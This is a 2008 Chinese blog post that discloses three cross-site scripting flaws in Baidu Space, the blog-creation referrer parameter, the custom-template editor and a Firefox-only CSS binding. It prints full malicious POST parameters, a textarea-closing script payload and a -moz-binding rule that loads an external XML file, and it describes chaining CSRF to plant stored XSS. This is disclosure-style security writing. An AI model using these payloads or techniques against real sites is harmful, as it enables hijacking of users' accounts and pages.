百度跨站漏洞谢幕篇

 

先把漏洞讲完,再开始扯淡。

今天的第一个漏洞还是出在spRefURL

XSS 13: 百度空间创建文章错误返回XSS漏洞
在写博客的地方,如果提交时篡改spRefURL为恶意脚本,此时若提交失败,则返回页面中会包含我们的恶意脚本。

在创建文章时提交参数如下:

以下是引用片段:
ct=1&cm=2&spBlogID=1f9a3aacaff38d0c4b36d6f5&spBlogCatName_o=%C4%AC%C8%CF%B7%D6%C0%E0&edithid=
&spRefURL=http%3A%2F%2Fhi.baidu.com%2Ftestuser%2Fmodify%2Fblog%2F1f9a3aacaff38d0c4b36d6f5‘)”><script>alert(/XSS/);</script><”(’
&spBlogTitle=xxxxxxxxxx&spBlogText=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&spBlogCatName=%C4%AC%C8%CF%B7%D6%C0%E0nonexist
&spIsCmtAllow=1&spBlogPower=0&spVcode=&spVerifyKey=&tj=+%B1%A3%B4%E6%D0%DE%B8%C4+
注意其中的spRefURL参数,我们在这里注入恶意脚本

而输入一个错误的
spBlogCatName
构造一个不存在的类名,以造成错误返回页面。


返回页面的代码如下:

以下是引用片段:
<!–STATUS OK–>
<html><head><meta http-equiv=content-type content=”text/html; charset=gb2312″>
<link rel=”stylesheet” type=”text/css” href=”/space.css”>
……
指定的分类名不存在,请重试<br>
<a href=”####” onClick=”javascript:erReturn(’http://hi.baidu.com/testuser/modify/blog/1f9a3aacaff38d0c4b36d6f5‘)”><script>alert(/XSS/);</script><”(’‘);return false;”>返回!</a>
<script language=”javascript”>
errdetails=”指定的分类名不存在,请重试。”;
setTop();
</script>
……
<!– 2.文章修改 –>
<script language=”javascript”>
<!–
writestr(”文章修改失败!”);
//–>
</script>
</div>
</body>
</html>

在具体利用时候,可以参考我在Day 02中举例的构造表单提交的方法,来触发这个XSS。

在一定的时候,将CSRF变成“XSRF”,威力会更加巨大。

希望我说的大家能明白,这里为了偷懒就不做演示了,你只需知道能直接从CSRF触发XSS就行了

接下来讲讲自定义模板的问题

XSS 14: 百度空间保存自定义模板XSS漏洞

百度空间自定义模板是可以自己写CSS的。
自定义模板的界面是一个textarea,但是这个textarea标签是可以闭合的。(后来我发现monyer在blog上也指出过类似的问题。)

如果在保存模板处写入:

以下是引用片段:
</textarea><script>alert(/XSS/);</script>

那么实际上<textarea>就被闭合了,其后就能写入任意脚本。

实际上这属于一个Stored XSS,但是写入的是编辑模板的页面,没办法跨页面

由于css的编号是可以直接从页面的代码里读出来的,所以编辑模板处是存在CSRF漏洞的
按照我在Day 02里提出的构造表单提交的办法,就可以直接把这个XSS写入到编辑模板页面

以后空间的主人去编辑模板的时候,就会被XSS

这也是一个从CSRF的危害扩大到XSS的例子。

所以请注意这是个危害非常大的漏洞。

XSS 15:百度空间自定义模板XSS漏洞(Firefox)

又是一个只针对Firefox的漏洞。

自定义模板是用<link>标签插入到首页去的。

在自定义模板中,构造特定的样式能够导致在Firefox下的XSS
构造如下:

以下是引用片段:
BODY{-moz-binding:url(”http://ha.ckers.org/xssmoz.xml#xss”)}

保存模板后,在firefox里访问首页,将造成跨站

xml文件代码如下:

以下是引用片段:
<bindings>
<binding id=”xss”>
<implementation>
<constructor>alert(’XSS’)</constructor>
</implementation>
</binding>
</bindings>

不过最近Firefox更新了(2.0.0.16),修补了这个XSS漏洞,所以这个漏洞以后就没用了。

漏洞讲完了,到扯淡时间了。一切都结束了吗?没有,才刚刚开始而已,不过那扯淡的将是下一篇了,稍后再发出来。

posted on 2008-11-22 00:22  一江水  阅读(887)  评论(0编辑  收藏  举报